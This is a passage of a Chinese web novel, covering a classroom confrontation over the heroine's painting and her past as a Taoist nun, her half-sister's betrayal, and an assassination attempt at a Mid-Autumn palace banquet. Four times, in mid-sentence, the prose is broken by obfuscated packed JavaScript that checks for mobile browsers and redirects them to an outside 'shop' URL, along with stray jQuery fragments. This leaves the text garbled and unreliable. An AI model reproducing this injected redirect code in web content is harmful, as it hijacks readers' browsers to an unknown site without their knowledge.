逃过一劫的的卫燕锋坐在座位上，敢怒不敢言，只嘟嘟囔囔地小声回嘴：“我好歹也算你半个先生，多少给点颜面......”瞧见卢琼华横过来的眼神，又讪讪住口。 谢长龄瞧着这一对“活宝”，无奈地勾了勾嘴角。 他起身从墙边的花架上端过一盆牡丹，递到秦明月眼前，“送你。” “送我？” 身后传来卫燕锋“嚯、嚯”压着嗓子起哄的动静。 眼前，鹅黄色的牡丹开得正雍容，层层叠叠的花瓣裹着金色的花蕊，有淡淡幽香漫过她片刻怔忡的呼吸。 “嗯。这是侯姑娘来狱中探望她母亲时带来的谢礼。” 原来是因为这个。 秦明月原本提起的心瞬间放了下来，双手接过花盆置于身侧。幸好自己方才未曾失言，她差点以为...... 之后，四人就在轻松愉悦地氛围中用完了午食。略过这个插曲，倒是卫教习无意间提到相道如要与他调课一事，秦明月暗自记在了心上。 ———————————— 两日后，书院所有人终于都得到了雅艺与骑术课调课的消息，且是雅艺中的绘画课，习作准备时间骤然缩至七日，书院里顿时“哀鸿遍野”。 回到秦府后，秦兰意和秦梅风先后前来询问秦明月是否需要相助，无一例外都被她婉言谢绝了。 转眼便到了次周的雅艺课。 课前，相教习提前到了书院，并逐一收走了课后习作。不等上课，众人都噤若寒蝉般正襟危坐，将书页翻得哗啦作响，个个状若鹌鹑。 无他，习作质量不佳尚可以“不擅此道”推托，若被教习批一句态度不端正，传扬出去便是大过了，届时无论家中如何宠爱，一顿责罚怕是免不了的。 很快，噩梦就真的来了。 “胡茵梦，你来说说这幅画的含义。”这次的课后习作的主题是《秋声》，相教习将一副画举起，目光随意地扫过一名燕尾垂髻的少女。 秦明月抬起头，眼尖地发现画作的下方的署名是薛姓，这是要互相点评？ “画中绘有残荷三茎，孤立于半枯的池塘，......”被点到名的少女结结巴巴地开口道，“莲蓬微倾，水面有涟漪，仿佛、仿佛能听到秋风秋雨之声。” 相道如不说好也不说不好，只将画作放置一侧，挥手让少女坐下。 类似的流程还在不断进行。每每一幅画作被举起，众人飞速扫一眼，若是意向明显的，都挺直腰背目视前方，盼着被点中，速速过关；若是遇到晦涩难解的，则将头一低再低，生怕被抽中。 好在有关“秋声”的画作总离不开那些熟稔意象，大部分时候，大家还是淡定地保持着“向日葵”的身型。 直到一副笔触稚嫩、构图繁密的画面出现。 画上，一列头扎白巾、身着短打的人深深跪伏在田埂上；他们面前，是一队正行进着的、衣着怪异的身影，那些人影戴着巨大的面具，动作僵硬而夸张。 不知是因为难以理解这诡异的画面，还是被画中凶神恶煞般的人影吓到，众人不约而同地低下了头。 可该来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148545|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终究躲不过。 “连婉珠。” 书桌与凳子发出吱呀的声响，被点名之人犹犹豫豫地站起身。 “画上、画上......”名叫连婉珠的女子支支吾吾，实在说不出个一二三来。反而在相教习严厉的眼神中，逐渐红了眼眶。 “写意之道，不仅在于笔下有灵，画能达意；更在于胸中有丘壑，眼中有乾坤，一幅画摆在眼前，有的人只见笔墨皮相，有人却能窥见天地人心。” 落针可闻的课堂上，相道如冷淡的声音响起，连婉珠的眼泪也一滴一滴砸在身前的案面上。 秦明月心中暗暗叹了口气，她没想过自己的画会成为另一个女孩子难堪的源头，刚想开口解围，就听一道尖锐的女声响起。 “相教习，婉珠自幼受闺阁教化，学得是诗书礼乐之道，如何能懂这三教九流的把戏。莫说是她一人，便是这整个书院中，除了以‘祈福’为名，做了十几年道姑的秦小姐本人，谁能懂？” “彭玉洁！你什么意思？”顾克柔拍案而起。 “怎么，我说错了？”只见对方看向秦明月，冷笑一声，语速却越来越快。 “我倒要当着教习与同窗的面，请教秦小姐几个问题。秦家对外只称‘你在观中为母祈福’，却隐瞒你实为道姑一事，这可是事实？” “一个云英未嫁的女郎，常年与市井香客、游方道人接触，清誉何在？” “既已出家，便是方外之人。如今还俗归家，还妄图参加中秋宫宴，可见当初修行之心不诚，六根未净，贪慕红尘富贵。” “相教习，”对方不屑地扫过秦明月，朝案首躬身长揖，“恕我等耻与此等欺世盗名、出身不洁、贪慕虚荣之辈为同窗。” 课堂之上，一片死寂，仿佛连风都凝滞了。一道、两道、三道......书案后，不断有人站起身，沉默地朝案首弯下腰。 “呵。”秦兰意冷哼一声，不等她接下来的动作，秦明月用力按下她的肩膀，缓缓起身。 她坦然望向案后神色莫测的相道如，缓缓施了一礼，“教习，学生这幅画，名为《祈丰》。” “画中所绘，并非什么‘三教九流的把戏’，而是民间在秋收前举行的祭祀古礼。头戴傩面、动作夸张者，乃巫祝扮作田祖之神；伏地跪拜者，是感念天恩、庆贺丰年的乡民。” 她的目光扫过众人，最后落在面色微变的彭玉洁脸上，眼中的有无奈、有失望、亦有悲悯。 “学生浅陋，未曾有机会残荷听雨、梧叶惊风，只在昔年栖身道观时，恰逢秋收，得见此祭。田间鼓乐酬天、百姓齐呼感念皇恩，一片丰年盛景，这就是学生听到的秋声。” “巧言令色！”彭玉洁眼中的怨毒几欲凝结成火焰喷射而出，“那你欺世盗名等事可是事实？若你不承认——” 对方嘴角弯起，眼神逡巡一圈后，忽然转向从一开始便“隐形”在人群中的秦梅风，“不若让你三妹妹来说说？嫡亲姐妹，总不能冤枉了你吧。” 34. 梅风糊涂 众人目光一下子全部落到了角落里的秦梅风身上。 骤然被点名，秦梅风整个人仿佛受到惊吓的小兔子，脖子微微缩起。 “我、我......我不清楚。”她声音细若蚊萤，面露难色地看向来自四面八方的眼神。 “彭小姐，有什么疑惑尽管来问我。我三妹妹生性胆怯，何必这般吓她。”秦明月按着秦兰意的手微微用力，顿了顿，继续说道：“你说的是没错，我确实曾在清微观中代发修行十余载。” 周围有倒吸冷气的声音响起。 “这是无从抵赖了？”得意之声传来。 “我从未想过要抵赖，”秦明月抬眼看向对方，神色平静，“当年，母亲早亡，我年幼无力，唯有以此尽孝。听闻修行功德可回向至亲，故而自愿入观、带发修行，希望能以微末之功，为母亲求得来世安宁。” 顿了顿，她的视线一一扫过堂上站立的人群，声音不卑不亢，“我从未视此经历为污点，亦无需抵赖。昔日入观修行，是为尽孝；今日还家，是为承欢膝下，父亲年事渐高，孝道未尽，实在不敢舍身道门。且我所做一切，并非要搏世人美名，故而从不曾宣扬。” 音量不高，却字字清晰。众人或低下头、或转向他处，竟无一人敢迎上秦明月的目光。 “说得冠冕堂皇，谁知道你混迹在那种腌臜地方还有没有清白！”彭玉洁气急败坏地说道。 下一刻，哗—— 秦明月一把接过顾克韫早已捏在手边的杯盏，将水尽数泼向对面之人。 突如其来的变故，惊得在场众人都呆愣住了，连原本咄咄逼人的彭玉洁都一脸难以置信地看向“始作俑者”。 见相道如并没有插手的意思，只虚虚靠在案首上，一脸置身事外地看着自己和对方，秦明月无所顾忌地迈步上前。 “彭小姐难道没听过‘耳无涂听，舌无涂言’这句话？胡言污人清白难道就是你口中的闺阁教化？” “你你你......”对方手颤抖着指向秦明月，被堵得说不出话来。 “我？我于三清座下，受师长教诲多年，身边也皆是诚心向道的善信，之前你传播谣言污我清白，我不与你计较。如今还想朝祖师清誉和万千香客的诚心泼脏水。这，我便不能忍你。” “至于清誉，”秦明月冷笑一声，“高祖打天下时，曾栖身道观数年，亦得金霞真人相助；先帝至孝，特在行宫修建道观供太妃们静修；便是当今圣上，亦年年亲赴道观祭祀。清修之地，竟被你传得如此不堪。彭小姐，究竟是以己度人，还是对大晟皇室心存不敬？” 一顶“大帽”扣了下来，在场所有站着的人瞬间白了脸，凝滞的气氛中，终于有人扛不住压力，慢慢坐了回去，有人起头，便不断有其他人准备打“退堂鼓”。 见“队友”倒戈，彭玉洁恨恨瞪向正在动作的同伴，眼中警告意味明显，场面一时又开始僵住。 “说得好！” 突然，门外传来一道沉稳威严的女声，只见一位身着深紫织锦华服，发间斜绾一支红宝石翔凤金簪的女子，一边鼓掌，一边往教室中走来。 身前，两名身着青罗锦缎宫装的侍女步履整齐地左右开道。门廊外，隐约可见数道挺拔肃立的身影，皆穿着玄色劲装，腰间佩着长刀。 “你来了。”满室寂静中，唯有相教习熟稔开口，她接过侍女递来的软垫，轻轻置于身侧，与来人交换了一个心照不宣的笑容。 女子的目光缓缓从书院众人脸上扫过，最终定格在秦明月脸上。 “你便是那位为母祈福，甘愿舍弃京中锦绣，在道观静守十余载的秦家大小姐？” 秦明月心头一紧。她虽不识来人，可唯有皇室女眷才能佩戴的翔凤金簪、规矩森严的宫装侍女，还有与相教习熟稔的关系...... 零散的线索在脑中飞速拼合，眼前这位端坐上首的，恐怕就是当今太后唯一的嫡女、大晟最负盛名的大长公主——平阳公主。 “回大长公主，正是学生。”她立马躬身回应。 视线垂落中，一双纤手拿起了她的雅艺习作《祈丰》。 “笔触生涩，画面冗杂，画功不堪评价。”沉寂片刻后，喜恶难辨的声音自头顶传来。 字字清晰，落入耳中。秦明月维持着行礼的姿势，背后竟渐渐渗出一层薄汗。 “不过，”那声音再度传来，“写意之作，贵在得意忘形，小小年纪能有如此悟性，已是难得。” 还没来得及反应，又听对方嗔怪道：“快起身吧。你们也真是，竟也不提醒我一句。” 旋即，相教习含笑应和之声响起。 秦明月这才直起腰背。目之所及，教室里，唯有前排气氛融洽；坐席上，贵女们则屏息垂目，不敢作声。 直至下课的云板声敲响，平阳公主、相教习相携往书院外走去，这片紧绷的死寂，才略略松了下来。 可临至门口，平阳公主却突然停下脚步。 “相卿”，她的目光看向教室内，“此次习作，我以为当以秦姑娘这幅画为魁首。” 众人面面相觑，直到二人的背影完全消失在书院，教室内才终于响起窃窃私语的声音。本就是最后一堂课，不断有人神色匆匆地走了出去。 秦明月在好友的宽慰中，收拾好书册，亦准备归家。 刚迈出两步，她停下脚步，微微侧过脸，秦梅风还呆坐在位置上。 “三妹妹，走啊。” 回去的路上，马蹄声哒哒哒响起，明明事情已经解决，但马车内却没有从前有说有笑的氛围，气氛沉默地可怕。 马车从角门进入，三人前后下车。 “三妹妹，你可有什么想和我说的？”秦明月伸手将秦梅风扶下马车，突然开口。 手下之人，动作蓦地一僵，不知是骤然从马车上下来，迎了一阵冷风，还是其他，竟抖了两下。 四目相对，不等秦梅风开口，李氏身边的嬷嬷已走至三人近前，“夫人请三位小姐前往懿德堂一叙。” —————————— 一路上，秦兰意不明所以地走在前头，秦明月还在回想大长公主之事，只有秦梅风心事重重地落在最后，步履沉重。 懿德堂内，院中已被收拾得如同秦明月上次来时那般干净，平日里各门处的女使、小厮都不见身影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157845|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦洪业一反常态地也坐在太师椅中。往常这个时候，他应还在府衙内办公。 “梅风，你可有什么想解释的？” 等三人站定，李氏并不开口让座，只从桌面上拎起一张画纸，朝堂下展开。 画纸飘忽又落定，一幅与《祈丰》极其相似的画作赫然显露。哦，不，或许叫相似还不足以形容，这分明就是同《祈丰》上临摹下来的！ “这，不是大姐姐的雅艺习作吗？可这笔法——”秦兰意疑惑地走上前去，接过画纸，转向秦梅风，“你这是想抄袭？还是......” 似是想到什么，她捂住嘴巴，震惊地看向对面。 冷寂的厅堂内，四道目光沉沉压来，失望、不解、愠怒、怜悯......秦梅风只觉整个人一阵眩晕，仿佛被抽空力气般，跌落在地，“父亲、夫人，大姐姐。我错了，是我鬼迷心窍，是我利欲熏心，我再也不敢了......”眼泪簌簌落下，她跪在地上浑身发抖。 秦兰意平日里虽不屑于宅院手段，但到底是尚书府精心教养的嫡女，不过转念之间，便想通了其中的关窍。 她疾步上前，攥紧对方的肩膀，逼迫秦梅风与自己对视，“梅风，大姐姐修道一事是你走漏的风声？还有这幅画——”秦兰意将画纸举到对方面前，“也是你暗中透露了大姐姐的习作，好让外人借题发挥，朝大姐姐发难？” 然而，对面之人却只咬唇摇头，泣不成声。 “说。” 半晌，原本一直凝眉不语的秦洪业沉沉吐出一个字。 秦梅风浑身一颤，眼中满是挣扎与恐惧，直到茶案再度被秦洪业重重拍响，方才抖着身体，竹筒倒豆子般吐了个干净。 原来，早在中秋恩宴帖发出后，魏党一派便盯上了秦明月，见其竟得了宫中青眼，便想要在身世一事大作文章，断了她进宫之路。 他们在京中散播流言还嫌不够，竟想要在大庭广众之下当面揭穿，借着相教习与平阳公主的关系，将这风吹进宫中，彻底坏了秦明月的名声与前程。 “小人行径！大姐姐何曾想要进宫与此等鼠辈争个高低。”听罢，秦兰意咬牙切齿。 地上之人忽然抓住秦明月的衣袖，眼中满是悔恨，“大姐姐，我真的没想害你，我知道这是下作手段。所以彭家遣人来要你的画作时，我没给她。” “可我......我害怕极了！”秦梅风身体微微发抖，“我回绝了她们，她们定然不会放过我的。我没有办法，只能口头告诉他们你画了什么，还有、还有......” “还有我道姑的身份是不是？” 秦明月深吸一口气，伸手扶起秦梅风，“三妹妹，你先起来。你能拒绝将这临摹的画作交给对方，说明你良知未泯。况且，心思敏感如你，既能察觉我道姑的身份，也早该从日复一日的笔记中试探出我并不在府中了，不是吗？” “若你有心害我，只需将这个消息传给对方，便足够我应对的了。” 秦明月看着跪在地上脆弱无助的庶妹，心中五味杂陈，“只是，我不明白，对方究竟许了你什么，或者你有什么把柄落在人手中，竟能让你甘愿为其所用。” 35. 中秋宫宴 等将秦梅风送回院中已是一个时辰之后。 虽然那日晚上，秦明月同秦父、李夫人已商定好对策，但今日大长公主的出现，却是出人意料。简单将今日课上的情形讲述一遍，堂内三人都陷入了沉思。 “不论大长公主为何会出现在书院，但公主既金口玉言月儿是‘为母祈福’，那日后，便再难有人以此为说项。”半晌，李氏叹了口气宽慰道。 秦父却不赞成地摇摇头，“此事即便没有大长公主援手，秦府也能解决。如今她一介入，反倒让秦府平白欠下一份人情，还徒惹旁人猜忌。况且......” “况且只有千日做贼，哪有千日防贼的。修道一事虽然过去了，但幕后之人，应当不会善罢甘休。”秦明月接道。 只有将祸根一并铲除，才能永绝后患。更何况，杀母之仇，她一日也不敢忘。 —————————— 太阳东升西落，月华又倾洒了几回，中秋将至。 与往年不同的是，除了从前来往的人家。今年通济盐号、谢府还有大长公主府都送来了中秋节礼，秦洪业盯着三家的礼贴，又愁白了几根头发，几次看向秦明月，都欲言又止。 不过，当事人全然不知，照常白日进学，晚上撸猫。唯一的烦恼就是，猫一只最近似乎有了领地意识，总爱对着院中的墙角、树木一类的抖着尾巴标记。不过还好有雪球在，但凡猫一只对屋内的家具一类的起了“歹心”，便会吃雪球一顿“毒打”，挨揍过几回，也就学会夹着尾巴老实做猫了。 秦明月对此很满意，雪球不愧是猫中之狗，这个家没有她得散！ 中秋前一日，秦洪业将秦明月喊至书房。 “月儿，你来看看这几张礼贴。”秦洪业将几页朱砂笺递了过来。 秦明月不明所以地接过，随意翻看起来。 第一张：赤金镶红宝石头面两副、东海明珠一斛、缂花金饼一对...... 第二张：石敬樘《松溪泛月图》一幅、汝窑青釉宝瓶一对、紫竹藏趣猫阁一架....... 第三张：镶宝并蒂莲鎏金簪一支、“随喜”玉牌一枚、宫制莲蓉御饼一匣...... 随着视线一行行滑过，每多看一件，她的眼睛便瞪大一分，“父亲，这哪里是送中秋节礼，分明是在送‘把柄’吧，若被有心人知晓，治咱家一个收受贿赂之罪也不无可能。” 闻言，秦洪业的头更痛了，若是寻常人家，或是真藏了这样的心思，他退回去就是了。可偏偏一个通济盐号、一个谢府，还有一个是大长公主府。行贿是不可能的，唯一的可能便是...... 他捏了捏鼻梁，循循善诱道：“月儿，你不曾发现这礼单中的礼品都不是寻常中秋节礼吗？” “确实过分贵重了。” 秦洪业扶额。行吧，这也不能怪孩子，她生母早逝，自己这个做父亲的也缺位太久，无人提点，一时想不到也是正常的。 “月儿，你再看看。”他手指向礼贴封面，“这礼贴明着是写送给秦府的，但这些器物，却全是姑娘家用的。而且，在你回京之前，我们府上同他们也并无礼节往来。” 秦明月懵懵懂懂地看向父亲，突然隐隐抓到些什么，“父亲的意思是......” 总算是上点道了！秦洪业长舒一口气，微微颔首，“我的意思不重要，重点是月儿你怎么想的。” 顿了顿，他继续开口：“更重要的是，明日宫宴。” 夜深了，如水月华透过棱窗，照在书房里的父女二人身上...... —————————— 翌日，秦明月是在雪球压低地警告和猫一只的惨叫声中醒来的。她坐起身，看向声音的源头。只见雪球正堵在紫竹猫阁前，炸开的大尾巴一下一下拍打着地面，喉咙中溢出呜呜的低吼；对面的猫一只弓着身子，不服气却又怂怂地挪开靠近猫阁的肥屁股。 不用想，就知道是猫一只老毛病又犯了，“妄想”在紫竹猫阁上留下自己的气味。 “雪球，过节呢，下手轻点。”秦明月劝解一句，便起身收拾起来。 今日是中秋，也是入宫参加御苑赏花宴的日子，李氏特地遣了个嬷嬷早早侯在望舒阁，只等秦明月一起身，便帮着更衣、梳妆。 等收拾妥当，坐上出府的马车，秦明月才从李氏口中得知，今天的酬功御颜宴竟要在宫中从巳时呆到戌时。 “五个时辰？”她微微一怔，“岂不等于要在宫里待一整日？” 李氏从身侧的食盒中，取出一小碟桂花糖糕递过去，压低声音道，“是。自打有这个规矩以来，皆是如此。巳正先往慈宁宫同太后请安；午时正宴设在含凉殿，歇息一个时辰后，便是游园、赏菊、观戏；待酉时圣上亲临赐宴，于太液池畔赏月、放完河灯，才算齐全。” 秦明月听着这一长串，只觉得耳边嗡嗡作响，“那旁人家中如何团圆？” “傻姑娘，比起家人团聚，这可是多少人削尖脑袋也要挤进去的，”话虽如此，但李氏脸上并未见多恭敬。 “先垫垫肚子吧。老爷要先随圣驾于太庙行告朔礼，等御宴时才能与我们汇合。一会到了宫中，你千万跟紧我，席上的东西尽量少吃。” 秦明月只能“认命”地点了点头。 等她随着李夫人到达午门时，现场已是人头攒动，虽来了不少人，却井然有序。冗长的队伍中，顾家大舅母见她来，微笑着朝她点了点头。 同李氏与自己讲得别无二致，整个酬功御宴章程繁琐、规矩重重。 中午的御宴设在含凉殿。 含凉殿本就轩敞通风，难以聚热，加之参宴人数众多，御膳房只能提前备膳，等众人好不容易挨到殿上落座时，餐食基本已经冷透了。秦明月只好端着桌上的果酿，机械地跟着宫人唱喏偶尔抿上两口。 杯中酒尽，立马就有宫女想要上前斟满，秦明月正想推辞，抬手间，对方的酒盏竟向外倾倒，明澈的液体瞬间撒了她一身。 这么拙劣的手法？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173320|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦明月尚在疑惑，耳边忽然听得“联盟”二字，她倏地抬起头，便见粉衣宫女正一面慌忙赔罪，一面利落地用帕子为她擦拭，可目光交汇的瞬间，她确定自己没有听错。 一旁的李氏也注意到这边的动静，正欲询问，却被秦明月拦下了，她朝对方点了点头，旋即随着宫女往外走去。 “秦小姐，前处就有更衣室，您且随我来。” 一路穿过曲折的回廊与重重角门。秦明月心中虽然大致猜出是谁，但还是谨慎地留意着来路与四周动静，大约行了半盏茶时间，终于到达了一处僻静的殿宇前。 “秦姑娘，就是此处。”对方走至她身后，明显要她独自进去的意思。 既已来了，秦明月也不再多犹豫，坦然推门而入，只行动间轻轻抖了抖手腕处的镯子。这是自祁阳县回来后，李敖特地给她做的，外表看来是一枚平平无奇地金手串，实际暗含机括，稍加转动便可弹出一片薄刃。 “秦小姐，你来了。”随着她进入，一道熟悉的声音自屋内响起。 “林公子？” “正是在下。”对方亮起了招牌狐狸笑。 秦明月也不与他多客套，毕竟身处宫中，李夫人还在宴席上等着自己，便直接单刀直入。 “林公子，如此大费周章引我过来，可是有什么事？” “想看看你......” “什么？” “你的发饰和穿着。”说话间，对方忽然抬手自她发髻间拔下一根金簪。 秦明月后退一步，防备地看向对方，“林公子，你这是何意？” 想起父亲前日夜里同自己说得话，再看看对方轻浮的行径，秦明月莹白的脸上染上一层薄怒。 可对面之人仿若未觉，只漫不经心地颠着手中的簪子，继续似笑非笑地问道：“为什么不戴我送你的头面，还有裙裾？” “林公子！” “这是大长公主送你的吧。”话锋突转。 “嗯？” “孝钦太后入宫时的金簪，圣上偏好的藕粉色......小姑娘，我要怎么说你，有坑你是真敢跳啊。”林肃无奈地看向一脸懵懂的秦明月，“这场赏花宴有什么样的考量，你家中应当同你说过吧。” 秦明月郑重地点点头。 “那你还敢这么打扮，难不成真想混个娘娘或者太子妃当当？” “不是。”闻言，秦明月着急摆手，“这些都是大长公主送到府中的中秋节礼，只说赏花宴为我添色的，府中不好推辞。更何况，外人哪里知道这些门道。” “现在你知道了？”林肃笑着站起身，摇晃着那柄熟悉的折扇往外走去，“屏风后有新的衣裙。金簪——便罢了吧，你的容貌本就用不着这些装点。” 最后一句话，小得近乎低语，但秦明月还是听到了，刚暗暗在他背后嘀咕一句“登徒子”，便见对方突然转过身来。 “对了，盐引新政迫在眉睫，且户部牵涉甚深。今日这宴会未必太平，你且万事小心。” 36. 血色杀意 再次回到宴席，李氏看了一眼秦明月浑身上下新的衣裙，和头上消失不见的发簪，眉间轻轻蹙起。 “不妥。”秦明月低低回了一句，二人便心照不宣地仿佛什么事情都没有发生过。 下午的游园、赏菊并没有什么波折。只在观戏时，大长公主坐在高台上，遥遥看了秦明月一眼，虽未言语，但唇角间的冷意，却怎么也藏不住。 不过幸而人多眼杂，对方倒也不至于大庭广众之下让各自难堪。于是，秦明月等人便相安无事地熬到了晚间的重头戏——中秋御宴。 今年的御宴直接安排在了太液池边的灯楼上，据说是为了能够一边赏月，一边饮宴。 御座之上，当今圣上身着明黄常服，正与皇后低声说笑，比秦明月想象的要平和许多。太子则一袭杏黄华服坐于右侧，不住地同宗亲们点头致意。 奇怪的是，太子下首，竟坐着谢长龄，再往下才是其他诸皇子。 这排序，难不成是议亲的坐一处，好打包解决了？秦明月忍不住坏心思地想。 可转念想到父亲的提醒，她顿时又萎靡了，自己还是案板上待挑的猪肉呢，怎么还有心思看人家的笑话。 眼神不经意间与谢长龄对上，秦明月飞速垂下头。 苍天可鉴，自己虽然对谢大人下过“黑手”，但她确实没真想染指的意思啊！ “明月！”长蘑菇间，有熟悉的女声响起。 “裕贞！” 大约是因为武卫营还担着宫中戍卫的职责，高裕贞竟也随着高统领来了宫中，还恰好与秦府的位置相邻。 身处陌生拘谨的宫宴，好友相见，分外兴奋。两人头靠头窃窃私语起来。 “那是魏来仪吗？瞧着是规矩了许多。”秦明月接过对方遥遥递来的笑意，略有些不自在地回了个笑容。 宴会尚未正式开场，魏来仪正亦步亦趋地跟在魏夫人身后，与在场的贵妇人觥筹寒暄，端的一脸温柔可人。 “这是形势比人强。”高裕贞百无聊赖地一点一点给杏仁剥皮，“之前巡盐御史一直由魏夫人的娘家、江南织造崔荣琪兼着，可自他上回犯了大忌，这盐引新政眼看着势在必行。魏家啊，这是急了。” “盐引新政？” 这是她今天第二次听到这个词，竟还与销钱为器一案有关。 “你竟然不知道？”对方一脸不可思议地看了过来，“我可听父亲说了。秦大人护你心切，怕宫里真将你饶了进去，便拼着得罪岭南一派，将当地的盐官狠杀了一批，总算将盐引新政一事推到了明面上。” “喏~今日太子选妃一事估计都要往后排一排了，听闻陛下计划要在灯楼顶宣布盐引新政的最终方案呢。” 什么？ 秦明月满心疑惑，一时说不出话来。 也就说前一段日子，父亲和李敖冒着危险，接连前往岭南，即便在京中也是整日扎在府衙，全是为了自己？ 如此一来，当日销钱为器一案事发，父亲能放着她遇事不归，只让谢大人赶回来倒也说得通。可父亲怎会算到此事会牵涉到江南织造，继而牵扯上盐引一事？ 还有，明明去岭南在前，中秋宴在后，父亲如何能在事情未发生之前就布局。难道这中间还发生了什么自己不知道的事？ 视线在人群中逡巡，不一会，便见父亲正往这边走来，身后还跟着一脸冷峻的李敖。 见她一脸欲言又止，秦洪业以为女儿还在担心，便安抚地朝对面一笑。 算了，回去再说吧。 —————————— 好不容易挨到圣上举杯示意。 宴席终于正式开场，丝竹声再度声起。 秦明月稳住心神，重新将注意力转移至中秋宫宴上来。 太液池上，数艘花船横渡，每艘船上都坐着一名妙龄女子，她们或手捧琵琶，或指弹古琴，共奏一曲《清辉弄影》。 船队正中，一艘莲花型小舟上，一名身姿曼妙的舞女身着月白广袖纱衣，面覆轻罗，手捧桂枝，随着音律赤足于莲台上起舞。微风拂过，衣袂飘扬，仿若马上就要乘风归去的月宫仙子，美得如梦似幻。 一曲终了，连秦明月都看得入了神。 直至一连串“咚咚咚”激昂的鼓声响起，才将众人的注意力一下子引向远处。 随着一声绵长的莺啼声，太液池周围的灯忽的全部熄灭，人群中传来小小的躁动之声。 “别慌，节目效果。”一旁的高裕贞作为“知情人士”，宽慰地拍了拍秦明月的手。 她没慌......整个灯楼的侍卫都没什么反应，能有什么事。 秦明月配合地坐直身子，看向远处。 池面上，一座巍峨的“蓬莱仙山”慢慢从月影深处飘来。远远望去，整座“仙山”高达三丈，山体以精铜铸架、琉璃嵌壁，其间缀满流萤灯。 随着仙山移动，船上灯光明明灭灭，“山巅”一轮玉盘作的月相也随之盈亏流转。 “听闻这是为今夜特意搭建的，内设机关可演示月相变化，是内务府历时三个月精心打造的奇观呢。”高裕贞开口。 “仙山”缓缓靠近，精妙绝伦的山体也逐渐显现，人群中爆发出热烈的掌声。 火热的宴会的气氛中，圣上在随侍的搀扶下，一步一步往人群中的高台上走去，父亲也紧随其后。 台下，每个人都“欣欣向荣”地追随着圣人的行径。 “诸位爱卿，今夜月满人圆，朕心甚慰。值此良辰，朕有......” 话音还未落，突然一声刺耳的机括声自太液池方向传来。 旋即，灯楼上的数百盏灯笼霎时齐齐熄灭，太液池畔顿时陷入一片黑暗。现场沉寂数息，就在众人还在疑惑是否也是节目效果时。 “护驾！” 一声禁军的高呼，瞬间打破了这片死寂。 人群中，不知是谁喊了第一句“有刺客”，现场一下子炸开了锅。黑暗中，人群轰然四散，食案翻倒声、杯盏碎裂声、禁军呵斥声，不知谁撞了谁，谁又跌倒在地，惊叫、哭声此起彼伏。 秦明月几乎是瞬间反应，她一脚将面前的食案踢至墙角，伸手反扣住高裕贞的手腕，另一只手拽住李氏的衣袖，将二人往食案底下按去。 “躲好，别出声。” 仓皇中，李氏一把攥住她的指尖，却被狠狠掰开，“我去找父亲。” 不等回应，她已转身挤入四散的人潮。这次刺杀大概率是冲着盐引新政来的，父亲有危险，她不能看着父亲出事。 耳边不断响起自太液池方向传来的“嗖嗖”声，她压低身体，向着记忆中父亲所在的位置，艰难移动。 近了、近了。 人流冲撞中，突然，一滴温热的液体溅到她的眼皮上。 血色滴落，现场终于有微弱的亮光自那座缓缓驶近的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183977|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缀满流萤灯的“蓬莱仙山”投来。秦明月眯起眼四下寻找，就见几名禁卫军将圣上与父亲包围其中，在距离她大约三步远处。 咔哒咔哒咔哒...... 耳畔突然传来一阵不祥的声音。秦明月猛地转头，只见“仙山”上“玉盘”陡转，数十张弓弩齐齐指向“包围圈”，蓄势待发。下一秒，数道破空声呼啸而至，人群惊呼推挤中，她只觉背后被人猛推一把，整个人直向风暴中心跌去。 躲不过去了。 电光石火间，她心念飞转，既然逃不掉，那不如搏一把！ “陛下小心！” 秦明月高呼一声，借力猛地向前扑去，张开双臂挡在“包围圈”前方。没有一丝意外，密集的箭矢中，一支弩箭正中她的右胸。惯性作用下，她一下子被冲击地后退几步，后腰狠狠撞在高台的边缘。饶是做好心理准备，还是疼得她几乎眼前一黑。 “月儿！”“大小姐！”耳边传来撕心裂肺的惊呼。 